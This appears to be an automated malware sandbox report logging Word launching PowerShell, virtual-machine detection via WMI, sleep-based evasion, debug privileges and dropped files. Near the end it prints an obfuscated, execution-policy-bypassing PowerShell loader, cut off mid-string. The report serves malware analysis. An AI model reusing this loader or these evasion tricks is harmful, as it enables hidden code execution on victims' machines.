Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe

Memory allocated: 1BC6E780000 memory reserve | memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899875	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3209	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2816	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4365	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5443	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6130	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3574	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6924
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2523
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 471
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4724
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1158
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7413
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2355

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6524	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6604	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5036	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6284	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5268	Thread sleep count: 6130 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1868	Thread sleep count: 3574 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep time: -899875s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7456	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5380	Thread sleep count: 4724 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5380	Thread sleep count: 1158 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3500	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3448	Thread sleep count: 7413 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5876	Thread sleep count: 2355 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899875	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000010.00000002.2663604255.0000012C1F7F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000A.00000002.2380272852.000001CE1A56A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}re4
Source: powershell.exe, 00000010.00000002.2663604255.0000012C1F7F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000013.00000002.3529512490.0000015C13C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: svchost.exe, 00000013.00000002.3534419975.0000015C19258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svczHost.exe, 0000001B.00000002.3527185799.000001BC6E6D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: powershell.exe, 00000010.00000002.2663604255.0000012C1F7F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000005.00000002.2518682237.000001783C752000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2380272852.000001CE1A4B2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3321545865.0000012C3719C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3495827360.000001A970A23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBA